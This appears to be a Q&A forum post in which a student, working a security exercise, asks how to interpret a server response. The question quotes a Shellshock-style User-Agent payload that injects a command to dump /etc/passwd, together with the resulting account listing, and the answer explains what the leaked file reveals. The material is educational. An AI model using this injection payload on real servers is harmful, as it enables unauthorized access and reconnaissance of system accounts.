Q:

Understanding HTTP response from Linux Server

I am working through a question that involves someone using a vulnerability in a Linux server in order to gain access to it. The first part of the question states
In monitoring the network activity between a critical Goldmine Tech web server and an
untrusted foreign IP, Bob discovers the following HTTP GET request from the untrusted IP:
GET /cgi-bin/status/status.cgi HTTP/1.1
Host: motherlode.goldminetech.edu
User-Agent: () { :;}; echo "PWNED by 0c007: “ $(</etc/passwd)

I understand here a shell script injection is being used as the command $(</etc/passwd)is executed, giving the hacker access to this password folder. Then, an HTTP response is listed here:
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: length
root:!:0:0::/:/usr/bin/ksh
daemon:!:1:1::/etc:
bin:!:2:2::/bin:
sys:!:3:3::/usr/sys:
adm:!:4:4::/var/adm:
uucp:!:5:5::/usr/lib/uucp:
guest:!:100:100::/home/guest:
nobody:!:4294967294:4294967294::/:
lpd:!:9:4294967294::/:
lp:*:11:11::/var/spool/lp:/bin/false
invscout:*:200:1::/var/adm/invscout:/usr/bin/ksh
nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
paul:!:201:1::/home/paul:/usr/bin/ksh
jdoe:*:202:1:John Doe:/home/jdoe:/usr/bin/ksh

I am supposed to determine what the hacker gained access to. Here is where I am stuck, as I cannot decipher this response. I have looked around and cannot find anything explaining how to read an HTTP response from a Linux server. Any help would be greatly appreciated.

A:

This is the content of the /etc/passwd file which contains the users of the system. It is separated from the password hashes, which are located in /etc/shadow. The attacker knows which accounts exist on the system. He can use that knowledge to bruteforce them and maybe deduce information about the system based on the usernames that are used by daemons.

